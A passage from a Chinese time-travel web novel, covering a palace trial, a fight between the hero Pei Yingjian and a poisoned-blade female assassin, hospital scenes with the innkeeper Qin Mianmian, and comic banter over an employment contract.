甘彦只觉得好像一盆凉水兜头浇下。 刚才他以为只有皇帝一人听到了他和齐月娘的话,谁知道这几个人竟然就坐在旁边的另一处偏殿里! 那也就是说,他和齐月娘的密谋,此刻已经全然大白于天下了! 这,这就不是皇帝能保得住的了! 甘彦在心中忍不住痛苦哀嚎。 这到底是为什么? 这本来也不是什么大事,而且皇帝本来也是要除掉裴应见的,到底为什么,竟然要把他这把这么好用的刀丢掉! 皇帝竟然不要他了! 这怎么可能! 这,天都塌了啊! 但,下一瞬,他就知道了答案。 玄鹰司大指挥使四个人走出来,脸色也都难看得紧,只因他们也是半夜临时被叫来的,非常的不情愿啊。 最可恶的是,他们却不是皇帝找来的,而是被骗来的。 而骗他们来的那个人,就是…… 众人恨恨抬眼,盯着偏殿大门。 片刻后,才有一个人,脚步不急不缓,奕奕然走里面走了出来。 这人身量颀长,宽肩窄腰,面容俊秀,风姿飘逸,在这情势紧张的夜半大殿上,却有一股子说不出的懒散之态,仿佛他不是来做这些性命攸关的大事的,而是在自家卧室里睡醒刚起床。 众人见他这幅态度,忍不住更加恨恨了。 实在是裴应见这厮,太过讨厌了! 见一次讨厌一次! 而且每一次见都会变得更讨厌! 在座各位,实在是没有一个人想跟裴应见见面的,包括皇帝。 但偏偏不见他就是不行。 就算你不愿意见他,他也有千万种方法逼着你不得不见,而且,还要为他说好话。 皇帝为几个人赐了座,四人坐下,没人开口说话。 裴应见见状,微微一笑,在众人面上扫了一眼,目光落在玄鹰司大指挥使身上。 大指挥使顿时暗自叫苦,却在看了皇帝一眼之后,不得不开口: "咳,甘彦,你还有何话说!" 甘彦到现在已经彻底懵了。 他想不明白,事情为什么会发展到这个地步。 到底为什么,这些人竟然会突然出现在宫里,而且还要当着皇帝的面审判他? 事情闹到这个地步,他今天还想翻案,那就难了啊! 甘彦再也没有了刚才的意气风发,整个人失去了支撑,颓然倒地。 只是他不知道的是,其实在座的这些人,除了裴应见之外,实在也是没有一个人想审判他的。 他们全都是被裴应见骗了的。 裴应见支起了这一摊陷阱,让他们往下跳,此刻他们就好似被架在火上烤的老鼠们一样,不跑都不行。 深吸了一口气,大指挥使认命地开始审讯甘彦。 审讯一事,对他来说再轻车熟路不过,人证也有,刚才甘彦和齐月娘的话更坐实了一切。 不用三言两语,他就定下了甘彦故意捏造证据,诬陷裴应见谋反的罪名。 至于动机……证据都这么确凿了,还需要什么动机? 何况,如果深究动机的话,不但会把不该下水的人拉下水,甘彦也救不下来了。 皇帝的意思很明显,他还想留甘彦一条命呢。 大伙儿都清楚。 而裴应见么,似乎更清楚,因为全程他都没说什么,所以,今天的事情,也就这样了。 牺牲甘彦一个,保全皇帝的脸面,值。 最后,皇帝拍板: "甘彦恶意捏造事实,情节恶劣,着撤去尚书之职,贬官岭南,即日启程!" 第173章 没穿衣服的女杀手 京城到燕城,即便是世上最快的马,来回也要半月有余。 但某些特殊的人还有些特殊的方法,她能更快些。 也就用了不到十天的时间,她便到燕州走了个来回,不仅拿回了皇帝想要的裴应见在燕州拥兵自重的证据,还带回了别的东西。 京郊一处偏僻民宅中。 桌上放着一个很大的包裹,包裹里面似乎是一个大木盒子,却不知道里面装的究竟是什么东西。 女子瞥了瞥木盒子,露出一丝冷笑。 这样东西,皇帝看见了,一定会高兴的。 她只看了一眼,就不再关注这个木盒子,转身踏进浴桶洗澡去了。 来去燕州这一回,实在过于疲惫,泡澡是最能让她舒适的洗去一身疲惫的方式。 然而,才刚踏进浴桶,身子还没沉下去,她却突然顿住动作,接着耳朵微不可见地动了动。 女子嘴角勾起一丝不易察觉的凉薄笑意,转头拿了轻纱将面庞覆住,随手取了暗器在手。 但屋外似乎全无声息。 不知道过了多久,久到普通人都会以为刚才不过是错觉的时候—— 女子却突然抬手,猛地发射暗器! 那暗器在烛光下闪着青绿色的光芒,以迅雷不及掩耳之势,带着急速的破空之声,冲破窗棂,直扑向屋外角落的黑暗处。 接着,便听得"噗"的一声,似乎是暗器打进了人的肉里。 女子眉头舒展,转身欲再次沉入水中,谁知屋外却也猛地响起了破空之声。 比她刚才发出的暗器更疾,更猛! 不及反应,只见一柄飞刀突然飞入,就从刚才她所打暗器的那个破洞之中穿过,直奔她的面门而来! 好快的飞刀! 快到若是武功稍差的人,根本连看都看不清,就已经命丧当场了。 但她却不是普通人。 她是从千魔万鬼的地狱之中唯一爬出来的人。 无论什么样的绝境,她都早已经历过了。 她只随意伸手,拿起搁在一旁的衣物,就那么轻轻一卷。 那仿佛带着雷霆之势的飞刀就这么轻易地被她卷了开去。 她的速度之快,快到她嘴角的笑意都还没来得及消散。 而下一瞬,窗外那人也直接破窗而入。 来的不是别人,正是裴应见。 可破窗进入之后,看到屋内的情形,饶是他也身经百战,也忍不住皱了眉头。他怎么也没有想到,这样厉害的杀手,竟然会是个女子。 而且还是个……没穿衣服的女子。 一双香肩就这么露在浴桶外面,连同一半光滑而美丽的脊背。 浴桶四周水汽氤氲,衬得她愈发肌肤胜雪,但只这一个背影,就足以让人遐想连篇了。 但,裴应见却并不想知道她的正脸长什么样子。实在是因为,这就算是一朵花,也是一朵有毒的花,十分的危险。 他二话不说,抄起长刀便劈过去。 长刀带着千钧之力,带着呼呼风声,仿佛要把这简陋的屋子一整个都劈开。而对面的女子却连头都没回,她的身形快如鬼魅,快到带着残影。 裴应见看都未看清楚她究竟是怎么动的,下一瞬,她不仅从浴桶里出来了,还顺带披上了衣衫。 只是她面上却覆着面纱,并看不清面容,再配合着湿漉漉的曼妙身材,反而更引人遐想了。 而且不知为何,裴应见一瞬间忽然觉得眼前这个人,好像莫名有点眼熟。 但他确定他没见过这个女子,实在是有生以来,他还是第一次遇到这样厉害的对手。 他本来也是带着手下出来的,单单为了寻到这处秘密之地,他们就已经费尽了力气,几个手下也分散而去,只有他最敏锐,最终发现了这个隐蔽的藏身处。 对峙之间,裴应见瞥见了桌上的那个包裹。 看到那包裹里四四方方的木盒,裴应见心中一痛——他还是过于大意了,皇帝哪里是那么好对付的,以至于燕城那边遭遇了如此惨痛的杀戮。 思及此,裴应见不再犹豫,再次挥刀劈了上去。 而对面,女子也不知道从哪里抄起一把幽光凛凛的剑来,和他斗在一起。 裴应见看得清楚,那剑上之所以泛着暗暗的幽光,便是跟刚才的暗器一样,上面是淬着剧毒的。 他不由得打起十二分小心应对。 两人都是万中无一的高手,霎时间就过了几十招。 刀光剑影顿时将这小小的简陋的屋子笼罩,满屋冷肃的杀气翻飞。 裴应见招招狠辣,每一招都奔着要命而去,而对面的女子比他更甚,甚至她的招数里还有一种疯癫的感觉——她不光想要他的命,甚至对自己的命也并不太在意。 这样的对手,实在是棘手。 两人又过了数十招,仍然未分胜负,裴应见却无心恋战,只想即刻将其斩杀。他心念微沉,手上长刀突然加快,对面的女子显然未曾想到他竟然还没使出全力,顿时一下子就被裴应见刀光笼罩,不出三招便露出了破绽,被裴应见一刀划伤了手臂。 女子一愣,随即勾起冷笑,突然她唇角微微一动,似乎嘴巴里多了什么东西。就在这一笑之间,裴应见心中那熟悉的感觉再次涌了上来。 他明白她这是要服毒,下意识就暗道不好,欺身上去欲捉活口——而明明刚才他还想即刻要了她的命的。 然而谁料到,这却是女子的陷阱。 下一瞬,她的剑却突然从一个诡异的角度递了过来,一刀刮在了裴应见的小腹上。 暗青色的剑划出一道长长的伤口,伤口里流出来的血即刻也变成了青色。 裴应见眼眸一暗,手上不停,长刀翻飞。 而对面的女子却已经不怕他了,甚至更是笑出了声。 还没有人能在她的剧毒之下抵御过十招的,眼前这个长得好看的男人,在她眼里,此刻已经是一个死人了。 她的毒剑更加狂风暴雨般袭来,她甚至在心里暗暗期待着,想看看这个好看男人临死之前的挣扎,会不会有一种别样的味道——那一定好看得很。 这么想着,她忽然猛出一剑,直接挑飞了他的刀。 然而,让她万万没想到的是,下一瞬,男人却忽然从身上摸出一个形状奇特的暗器模样的东西,黑黝黝的洞口直接指向了她的面门。 第174章 一颗人头 小屋之内瞬间安静异常。 两个人都停下了动作,定在原地。 裴应见面色冷肃,气势迫人,但其实他的双眼都已经开始模糊了。 实在是那剑上的毒毒性太烈,只这么片刻功夫,便已经游走过他的全身,甚至侵入了五脏六腑。 照这么下去,用不了几个呼吸,他就会倒在这剧毒之下。 他必须立刻、马上杀了这个女子。 对面,女子看着他手中这个暗器黑黢黢的洞口,心中也是莫名一悸。 虽然她从未见过这种暗器,但潜意识告诉她,这东西十分危险。 几乎是本能一般的,她立刻迅速躲了开去。 可就在同时,对面男人的手指也一齐动了。 "砰"的一声巨响! 那暗器爆发出巨大的威力,有一颗不知是何物的东西从那黑黢黢的洞口激射而出,直奔她而来! 而这暗器的速度之快,简直超出了她的想象! 她行走江湖多年,还未曾见过这般快的东西,快到她连看都看不见! 这绝对不可能是这个世上应该有的暗器和速度! 风声都还没到,那暗器却已经到了! 饶是她看到他掏出暗器就已经先行躲避,那暗器还是后发先至,猛地射中了她的肩头。 女子忍不住痛呼出声。 但她到底是身经百战,即便在这种穿心剧痛之中,仍然能做出反击。 裴应见一击中了,根本没有思索,就再次扣动了扳机,却不料对面的女子在翻滚躲避之间,竟然还能抬手,向他也扔出一个暗器来。 他下意识就翻身躲避,但女子扔出的这个暗器却并不普通。 他躲开的瞬间,暗器落地,接着一道刺眼的白光,跟着"轰"的一声—— 整个屋子炸了! 霎时火光冲天! 好个冷血女杀手,人都已经中枪了,竟然还想着要跟他同归于尽! 但裴应见也反应极快,在爆炸之前就躲到了一张破桌子后面,虽然也被爆炸波及,但并不伤及性命。 熊熊烈火中,女子早已不见了踪影。 裴应见就地一滚,摸到跌落在屋子中间的那个包裹,飞奔出门。 然而他却走了没有三步,就跌倒在了地上。 爆炸虽然没怎么样他,但那剧烈的震动到底伤及肺腑,方才中的毒剑更是凶烈,此刻毒素已然麻痹了全身。 他难道会命丧于此? 但裴应见这里却绝没有"绝望"二字。 他紧紧抱住怀里的包裹,深吸一口气,下一瞬,眼前迷雾突起,他用尽最后的力气,向迷雾中的客栈大门扑去…… …… 秦绵绵住了院,客栈众人的心思便都在医院里了,客栈这边也不怎么做生意,所有人都轮流往医院跑,只留一个人在客栈值班。 这一天刚好是罗小胖当值。 他本来想早早关了门,也去医院看护秦绵绵,但下午的时候忽然有一家三口来住宿,那会儿下了雨,夫妻两个带着刚一岁的小孩子,十分的狼狈,罗小胖只好接待了他们。 于是此刻也只能老老实实地呆在前台,等着到点了关门打烊,今晚是没可能出去了。 就在罗小胖百无聊赖地数着对面吉祥客栈的砖墙的时候,大门外面却猛然传来"砰"的一声。 罗小胖奔出去一看,就看到了浑身是血、已经昏迷不醒的裴应见。 海城市医院。 裴应见被推回了病房,医生说他没什么大碍,勤加观察,等着醒来就行。 罗小胖终于松了口气。 但没多久,却突然有派出所的人上了门。 警员见到罗小胖,先是愣了愣,接着连忙上前来打招呼:"大公子,您怎么在这儿?" 罗小胖并不认识对方,但对方却认识他,实在是他爸空降在这里影响力太大了,本地的警员们想不知道他是谁都不行。 而对方显然是来公干的,套完近乎又愣住,指着病床上仍旧昏迷的裴应见:"大公子,您……是家属?" 罗小胖到底世家出身,瞬间就明白了什么情况,立刻便点头承认。 警员嘴角抽了抽,但该问的公事还是不能不问: "医院报警来着,说是这个病人伤势不轻,有可能涉及刑案,而我们这边并没有收到刑案的报警,所以按例要问询一下……" 罗小胖打了个哈哈:"我明白我明白,辛苦了。不过刑案是没有的,就是家里煤气炸了而已……" 警员看向病床上四处被包扎得严严实实的人。 罗小胖又笑:"别看包得严,都是皮外伤,医生说了,没大碍。" "但……"警员犹豫了一下,"大夫说他还中毒了。" "食物中毒,食物中毒……我比较抠门,坏了的东西不舍得扔,结果就这样了……哎哟,我这肚子也疼的,实在不好意思!" 说着就往厕所冲。 警员摸不到头脑,但大公子既然这么明晃晃地作保了,他们也不好真的非要问明白,于是只能按罗小胖所说的记下来,走了。 罗小胖听到人走了,才从厕所溜出来,刚舒了口气,却发现病床上的裴应见不知道什么时候已经醒了,正在挣扎着坐起来,而且似乎在找东西。 "怎么了,要喝水?大夫说你毒素刚清,还不能喝水!" 裴应见却不理,直接下了床,直到在病床下面找到了那个包裹,才松了口气。 罗小胖来扶他: "放心,丢不了的,我看你抱得那么紧,就知道这东西肯定很重要。怎么,里面是不是放了什么值钱古董,拿出来给小爷我开开眼?" 裴应见笑了笑: "这里面的东西,只怕会吓到你,别看。" 但罗小胖说话间,手已经伸过来了,裴应见就往后撤,谁知那包裹的包袱皮已经松动了,"咣当"一下子,里面的木盒子掉了出来。 盒子的盖子也径直掉落下来,罗小胖低头一看,却见一个东西咕噜噜地滚了出来。 不是什么宝贝,却是一颗人头。 一颗带血的人头。 屋里瞬间安静。 空气都冷了几个度。 不知道过了多久,罗小胖被人扎了屁股似的一下子跳起来,先去反锁了病房的门。 这边,裴应见却面色沉重地将人头又收回了盒子里,重新包裹好。 罗小胖惨白着一张脸: "不是,哥们……你要是再不跟我说实话,我可真保不了你了啊……" 裴应见苦笑一声:"行,我说。" 第175章 交底 半个小时后。 罗小胖张着嘴巴,仿佛能塞下一个鸡蛋。 他就这么呆愣在那,嘴巴也忘了合上,甚至也忘了自己这半个小时都站得双腿发麻了。 裴应见说完了,看向他:"怎么,吓傻了吗?" 罗小胖说不出来话。 裴应见皱起眉头,准备给他一拳。 罗小胖这才反应过来,往后一跳,张嘴想喊,却又下意识压低声音:"你你你你......你真是古代来的?!" 裴应见叹口气:"你若有不信的地方,只管去问绵绵。" 顿了顿,又把包裹往身边拉了拉,"只是不要去举报我就行。" 罗小胖此刻的表情可谓精彩纷呈。 他龇牙咧嘴,左思右想,前思后想,又过了好久,终于接受了这个离谱设定。 裴应见笑了:"我还以为你真的接受不了呢,怪不得你跟绵绵能玩到一起去,这个样子,倒也不像是警察世家的大公子。" 罗小胖啧了一声,一时分不清这家伙是在夸自己还是在骂自己。 "所以我说我干不了警察。"他摆摆手,终于走到裴应见床边坐下。 裴应见把自己怎么遇到秦绵绵,开始交易物品,以及到今天发生的种种事,都告诉了罗小胖。 但他有意略过了秦绵绵也去过他的时代,还遗落了一把手枪,让他得以重伤那个杀手的事,只说了人头的来历。 "这是我的属下,也是朋友。只可惜惨遭毒手。我追杀杀手,但那杀手太强,我也只能重伤她而已。" 罗小胖一时无语,幸亏医院这种地方没有安检,不然他俩肯定得立刻让人抓起来。 "可是这玩意时刻带在身边也不是个事啊,但是放起来好像也不放心,唉你真是......" 裴应见一笑:"放心,我伤稍微好一点就会回去。话说回来,还要多谢你送我来医院。" 若不是罗小胖送医及时,就裴应见这个伤势,还真不一定能挺得过去。 尤其是他不仅受了伤,还中了毒。 因为有人头在手,裴应见确实不打算多留,只是走之前还想见一下秦绵绵。"她可知道我受伤了?" 罗小胖一噎。 秦绵绵要是知道裴先生受伤这么严重,那肯定会第一时间赶到医院的,之所以没有来,那是因为...... 罗小胖打了个哈哈,想把这件事糊弄过去,但裴应见却不是那么好糊弄的。 "她怎么了?" "额,她......也住院了。" "为什么?在哪里?" 罗小胖只好说了实话:"......就在这家医院里。" 裴应见一下就从床上蹦了下来:"你们呀,没有一个靠得住的,视察个工地也能让绵绵受伤,等着我回去找你和姚祁算账!" 说完,拎起人头包裹就往外走去。 外面的小护士看到这个帅帅的古装男生突然出来,一下子傻住:"哎哎,你刚做完手术,你不能走啊!家属在哪里!快点,病人跑了!" 裴应见虽不轻车熟路,但好歹够聪明,很快就找到了秦绵绵的病房。 冲进去的时候,某人却正在优哉游哉地吃零食。 见有人进来,秦绵绵下意识就想藏——实在是因为医生护士都明确表示她不可以乱吃东西,要好好休养。 但在看清楚来人之后,她手里的零食都掉了: "你......怎么会来这里?" 然后就骂罗小胖和姚祁嘴不严。 再然后,就开始质问他到底是怎么回事,怎么伤得这么严重。 裴应见听她一直说个不停,忍不住笑了。 他就这么走过来,坐在她的病床旁边,微笑着听她说。 她平常不爱说话,也并不怎么贪嘴,今夜这幅很少露出的小女儿情态,他真的很想好好欣赏欣赏。 距离上一次见她过去多久了? 其实好像也没多久,但他却经历了一番生死,所以感觉好像已经过了很久很久一样。 也不知道这几天,她有没有想起他来。 秦绵绵终于不说话了,裴应见的微笑却没有止住,他伸手揉了揉她的脑袋:"还说我呢,你还不是一样,把自己弄进了医院。" 秦绵绵一愣。 这人不动手的时候吧,也只是看着好看,叫人心里舒坦。 一旦人凑过来,手伸过来,就好像给她下了销魂迷药一样,瞬间就能让她心神恍惚起来。 他温热的手覆过来的时候,她瞬间就想起了自己那个离奇旖旎的梦。 可惜啊可惜,梦里她竟然什么都没做,就突然醒了过来。 梦醒了好几天,她每次回味起来,都颇感遗憾。 要不是她实在没办法去见这家伙,她非要再跟他比画比画,试试能不能把梦里的事情往下进行一下。 不过话又说回来,这本来也是横亘在他们之间的唯一问题。 如果不是这个问题,她说不定早就...... 秦绵绵的目光从裴应见的脸颊滑下去,慢慢滑到了下面的喉结上,又很快别了开去。 在那个旖旎的梦之前,两人还闹别扭来着。 这家伙一声不吭就从她眼前消失了,让她难受。 梦醒之后,她认真工作,也有想转移注意力的意思,只是出了意外,来了医院。 这几天,她其实有刻意地不去想他,不琢磨他到底什么想法,还会不会回来,是不是从此都不愿意再见她了。 好吧,吃零食也是一种转移注意力的办法,但谁知道转移来转移去,这家伙竟然又出现了,还带着一身伤。 秦绵绵低头,把零食袋子捡起来:"喏,难兄难弟,一起吃吧。" 裴应见就这么大剌剌坐下,一边吃,一边把自己如何负伤,如何打退杀手的事情说了。 裴应见略带着小得意,从身上摸出秦绵绵的那把防身武器。 但拿出来的一瞬,他忽然意识到坏了。 果然,秦绵绵立刻瞪大眼睛:"我这东西怎么会在你哪里?!" "额......"裴应见抿了抿嘴,笑起来,"......是我有一次从你这里摸去的。" "我说怎么不见了。" 秦绵绵伸手就想拿回去,但想了想,又还给了他:"幸亏它救了你,你更需要,还是给你吧。" "也行,我就先留着,你有空了可以留意着帮我再买些。" 秦绵绵如果喝着水,这会儿就要喷出来了。 第176章 一弯新月 “大哥,你以为这是在某宝上批发那些日常的东西吗,这是热武器啊。” 她也仅有这一把好不好,她上哪弄去。 笑闹一阵,秦绵绵的目光终于落在了旁边的那个包裹上。 刚才裴应见已经说了这个包裹的来历,秦绵绵也知道此时此刻,包裹里面装着的是一颗人头。 裴应见顺着她的视线看过去,声音低沉了几分:“是上次在燕城带兵投靠我的江壮志。” 秦绵绵自然知道此人,他本是丹城参将,是被三皇子周戟叫去“围剿”裴应见的,后来被裴应见策反,在绞杀燕城参将胡轩海的时候立了大功。 裴应见在燕城的势力有两拨,一拨是原来的土匪二当家,那个才华横溢的何先生和手下的人,他们在暗处。 另外一拨就是江壮志和他手下的兵,他们却是在明处。 皇帝派去的这个女杀手确实厉害,来去如风不说,还在最短的时间内查出了内幕,锁定了江壮志,并杀害了他。 而裴应见为了给江壮志报仇,险些将自己也搭进去。 秦绵绵没说话,只是点了点头。 片刻后,她才问:“那个杀手,如何?” “很强……不惜命。” 秦绵绵了然,心下也有了计较。 那个女杀手如此危险,裴应见这次能活下来,运气占了很大成分。 她那把“防身武器”起到了关键作用。 而那人也只是受伤,很可能会卷土重来 还是得想办法,再给他弄些能保命的东西才行。 秦绵绵又看了一眼那个包裹,视线却定在了包裹外面那层灰扑扑的布料上。 布很寻常,粗糙,不起眼。 但在一个角落,几缕并不显眼的灰线,勾勒出一个小小的图案。 一弯新月,旁边缀着一颗小星。 秦绵绵瞳孔微缩,身体不由自主地前倾,想要看得更清楚。 “这块布……哪里来的?” 裴应见略感意外:“包裹木盒的,现场带来的。有问题?” “这个绣样,”秦绵绵指尖点向那月亮,“这是……我小时候绣着玩的。” 而且有她独一无二的设计,天底下都不应该有一模一样的才对,何况这还是从古代带来的。 秦绵绵眉头皱起,裴应见也心头一震。 他再次审视那个简单的绣花,稚拙,却有种独特的辨识度。 秦绵绵小时候的绣样,出现在包裹他属下头颅的布上? 而这块布,很可能属于那个女杀手。 “那个杀手是什么样貌?”秦绵绵问。 裴应见摇头:“用纱覆面,看不清楚。” 他没有多说,但那双隔着面纱透出的冷酷、疯狂,却又带着一丝奇异熟悉感的眼睛,却再次浮现在他脑海里。 那双眼睛,和眼前秦绵绵清冷平静的眼眸,惊人地相似。 一个荒诞的念头忽然涌上心头。 他不动声色地问:“这几日你,可有异梦?” 那天她到他那边去的时候,是以为自己在梦中的,不知道她此刻意识到了没有。 他更不知道她到他身边之前,又去过哪些地方。 因此有此一问。 秦绵绵却轻咳一声:“没有啊,为什么这么问。” 裴应见立刻知道她仍然以为自己是在做梦的。 也许,只是巧合? 于是也并不再问。 这边,秦绵绵面上不显,心里却已经有点乱了。 她也不知道这家伙是怎么连自己做了梦的事情都知道的。 那要么,也许他连梦到的内容都知道? 想到那个旖旎却中断的梦境,秦绵绵只觉得脸上的淡定几乎都要挂不住了。 就在这微妙的寂静中,“咕噜噜——”一声清晰地响起。 裴应见尴尬地按了按小腹,那里还缠着厚厚的纱布。 “饿了?” 裴应见“嗯”了一声。奔波厮杀,又受了重伤,醒来水米未进,铁打的人也扛不住。 秦绵绵拿起手机:“医院旁边有家粥铺还不错,给你点个清淡的。” 她也不问他吃不吃,直接就安排上。 反正对于他的口味她是再了解不过。 很快,外卖小哥就把热腾腾的白粥送来了。 秦绵绵把小桌板架好,将粥碗放在上面,又递给他勺子。 裴应见接过来,安静地喝粥。 秦绵绵也没动,就坐在旁边看着。 他吃东西的样子很斯文,即便是饿极了,动作也依旧从容不迫,带着一种久经世家熏陶出来的优雅。 一碗粥很快见了底。 裴应见感觉胃里暖和了不少,精神也恢复了些。 放下勺子,却见面前的人微微撇着嘴:“都喝光了?没给我留一点儿?” 裴应见:…… 秦绵绵忽又展颜一笑:“逗你的啦!我吃过了。” 说着,还抬手,很自然地替他擦掉唇角的一点点残留的粥渍。 裴应见却在她的手接触到自己的一刹那瞬间呆在原地。 两个人四目相对,气氛一时竟凝结住了。 下一瞬,他回过神,忙一把抓住她还没来得及收回的手,速度之快,比他出剑杀敌还要快一百倍不止。 秦绵绵却一愣,连忙挣脱了开去。 “咳咳,那啥,我去上厕所。” 说完转身就溜。 一点反应时间都不给他。 裴应见手心骤然空了,心里也一下子空了。 只能颇为不甘心地盯住女人逃走的背影——她穿着宽大的病号服,却更显得身姿纤瘦,身材窈窕,让人挪不开眼睛。 秦绵绵逃出了病房,裴应见百无聊赖,便径直躺上他的床。 谁知目光忽然一瞥,看到秦绵绵的床头放着一本书。 那是一本线装书,封皮有些泛黄,看起来有些年头了。 名字叫《宸闻录》,似乎是某种野史杂谈。 许是她住院的时候用来打发时间的。 裴应见拿起来翻了翻,随便扫了几眼,然而下一秒,他的动作却倏然顿住。 书页上,一行字清晰地映入他的视线: “……永安帝与贺氏女晴柔,少有私谊,后晴柔嫁入镇国侯府,诞下一子,名望之。时人多疑,此子或非侯府血脉……” 贺晴柔…… 望之…… 裴应见的心重重一跳。 这上面竟也有他的名字。 而“贺晴柔”,正是他母亲的闺名。 第177章 昨晚有人来过对不对 秦绵绵刚巧回来:“怎么看上这个了。” 裴应见拧眉:“这书哪里来的?” 秦绵绵怕他多想,笑了笑:“旧书摊子淘来的,随便看看罢了,都是野史,胡诌的玩意儿。” 裴应见顿了顿,合上了书:“确实,不过是些无稽之谈罢了。” 秦绵绵瞥瞥他,却觉得他心里并非真的毫不在意。 这家伙,一定有事还在瞒着他。 病房里的气氛又一次变得有些微妙。 月上中天,时间仿佛过的特别快。 不知过了多久,裴应见站起身,活动了一下身体。 “我得走了。” 秦绵绵一怔:“现在?你的伤……” “皮外伤看着吓人而已。”裴应见道,“毒已经清得差不多了,很快就是皇帝生辰,我必须尽快赶回去。” 他说着,走到床边,拿起那个装着人头的包裹。 起身时,他似乎牵动了腹部的伤口,几不可查地蹙了下眉,动作也慢了一瞬。 秦绵绵抿了抿唇,轻声一叹:“好吧,走吧,大侯爷要走,小女子我也留不住……更找不到你。” 这话问出口,空气一时更安静了。 秦绵绵却迅速把眼睛别了开去。 看似调侃的话,却说出了她心里的那丝隐秘。 他们之间的联系,脆弱得仿佛随时会断。他来去无踪,她只能被动等待。 这种感觉,很不好受,而她却又尝了很久了。 裴应见拎着包裹的手顿了顿。 他转过身,看着秦绵绵。 灯光下,她的脸庞显得格外清晰,那双总是清清冷冷的眼睛里,此刻盛着一丝不易察觉的……留恋? 这丫头,拈酸刻薄的,是还在生自己上次不告而别的气呢。 而那个梦境的事情,她又还不知真相。 这个认知,让他心头不由得悄悄生出一丝隐秘的欢喜。 他心头微暖,走近两步,抬手,想像之前那样揉揉她的头发,但考虑到自己刚碰过那个包裹,又收回了手。 他微微弯腰,凑近了一些,用只有两人能听到的声音,温和却又带着一丝隐晦的承诺: “别担心,以后……会好的。” 一切都会好的。 他说完,定定地看了她半晌,忽而在她额间轻轻印下一个吻,然后恋恋不舍地转身,再次消失不见。 秦绵绵独自坐在病床上,看着空荡荡的房间,手里还攥着那本《宸闻录》。 一抹红晕后知后觉地爬上她的脸颊。 …… 第二天一早,姚祁早早到了。 他带着早饭来,踏进病房,却一眼看到了昨晚还未来得及收拾掉的外卖盒子。 姚祁眉毛一挑:“怎么,昨天晚饭没吃饱?” 昨天的晚饭也是他来送的,原本他是想在医院过夜陪秦绵绵的,但是被她撵了回去。 这不,今天早早又来了,却发现某人竟然趁晚上他不在的时候“偷吃”。 秦绵绵脸色淡定如常:“是啊。有意见?” 姚祁不动声色,又观察了一圈,发现了垃圾桶里的零食袋。 再扫过去,看到那本《宸闻录》翻开着。 他伸手过去,拎起书来,微微冷笑: “我怕你夜里饿,昨天的晚饭特意做的多,还给你留下了零食。现在晚饭没了,零食也吃了,掌柜的你却说还没吃饱,还要点外卖?” “还有这本书,我昨天来的时候,你看的可不是这一页。” 他的眼睛微微眯起,审视面前的人:“昨晚有人来过,对不对?” 姚祁盯着秦绵绵,却见秦绵绵轻咳一声,面上似乎有心虚一闪而过,但很快恢复冷淡。 “怎么,我还得跟你报备?” 姚祁冷哼连连:“那倒是不用,掌柜的要做什么事,我这个做员工的也没什么理由过问。” 说完,把手里的早餐往桌上一扔,自顾自坐到一边去了,再也没理她。 秦绵绵随手搓了个纸团朝他脑袋上扔过去:“什么态度!” 姚祁偏头躲开,还是不看她。 秦绵绵也不再理他,转头去吃早餐。 示弱是绝对不可能示弱的,她要见谁,本来也不关他的事。更何况要是让他知道昨晚来的是裴应见,只怕这家伙的脸色要比现在还难看。 秦绵绵看看眼前这个人,又想想昨夜那个人,不由得心中升出一个想法——男人果然是世界上最麻烦的动物。 她在这边吃早餐,姚祁却在那边翻开了那本野史,似乎看的津津有味。 “看的什么。”秦绵绵想到昨夜那段,就想把书拿回来。 姚祁随意合上书:“没什么,瞎看而已。” 正要扔给她,秦绵绵的手机突然响了。 一看是姜芙。 接通了,那边声音十分焦急:“掌柜的能不能快点回来!客栈出事了!” …… 秦绵绵办理出院手续的时候,还在听工作人员八卦昨晚受重伤又突然消失的古装男子长的是多么好看。 姚祁一脸的不屑。 开车回去的一路姚祁也没说话。 两人踏入客栈,见大伙儿都坐在大堂里,气氛似乎很是凝重。 桌子中央,大喇喇坐着一位气场全开的魁梧男人,不是别人,正是罗小胖的老爹罗正松。 秦绵绵笑了笑:“罗厅手头上的案子忙完了么?今天倒有空到我们这里放松一下。” 叶子舟连忙赶过来,附耳悄声道:“罗厅是来带罗小胖走的!我们劝半天了,他态度十分强硬。” 秦绵绵转头看去,罗小胖就坐在罗正松对面,父子俩此刻都铁青着脸,气氛剑拔弩张。 看来事实很明显,罗正松忙完了案子,要回去了,于是就要顺手把自己这个唯一的儿子带回去,欲继承家业。 罗小胖私逃出来时间够久了,这次好不容易找到他的行踪,罗正松很显然不会再放过他。 看到秦绵绵回来,罗小胖本来还挺厉害的神情突然露出一丝委屈,他忙对秦绵绵努努嘴, 焦急之色溢于言表。 秦绵绵给了他一个稍安勿躁的眼神,转头上二楼,拿了一叠文件,扔在罗正松面前。 “罗厅,不好意思的很,令郎当初是因为打碎了我的古董才被迫留下在我这里工作的,我们的合同上也写的很清楚了,如果没干够五十年,中途要离开的话,那可是要双倍赔偿的。” 罗正松顿时一瞪眼:“五十年?!五十年都退休了!瞧给你厉害的,你还能厉害得过劳动法?!” 第178章 神秘外援 “劳动法……”秦绵绵咂咂嘴,“算了,让我们这位大学霸来给您解读一下这份合同吧。” 她也不多说,直接就把叶子舟推了过来。 叶子舟推推眼镜,拿起合同看了一会儿,开始跟罗正松一板一眼解读: “我们是不能大得过劳动法的哈,但是根据实际情况来讲,我们这份合同并不违法,相反是具有法律效力,受法律保护的,具体我可以跟您一条一条讲……” 这一讲就讲了半个小时,罗正松听得头都大了,最后终于忍无可忍,猛地一拍桌子: “够了!” 叶子舟推推眼镜: “那难道伯父你是想付双倍违约金吗?” 罗正松一咬牙:“多少钱!” “根据合同约定……八千五百三十二万整。” 这回不仅罗正松吓傻了,一旁的罗小胖都懵了。 ……他也不知道自己啥时候签了这样的天价霸王合同啊。 这玩意要真有用,该不会他真的得把自己的一辈子卖给秦绵绵吧? 这么想着,他忍不住就打了个哆嗦。 罗小胖悄悄看向秦绵绵,却见她正略略噙着一个若有若无的微笑,老神在在地看着这一幕,一副运筹帷幄的样子。 罗小胖心中又一阵佩服——还得是自家掌柜的,做事滴水不漏,她应该是一早就料到会有自家老爹来要人的这一天,所以早早就准备好了东西,只怕他不上门。 罗正松愣了片刻,老脸都气红了,再难缠的嫌疑人都没让他这么生气过: “谁知道你们是不是忽悠我,我也不懂这个!八千多万,你怎么不去抢!” 叶子舟眨眨眼,看向秦绵绵。 秦绵绵淡淡开口: “我这里还有古董价值的鉴定书,您老要看吗?” 罗正松只觉更加头疼。 他跟秦绵绵也算是打过好几次交道了,这个小丫头的手段,他可是再了解不过。 这个臭丫头,她既然敢这么说,她就真的一定拿得出来! 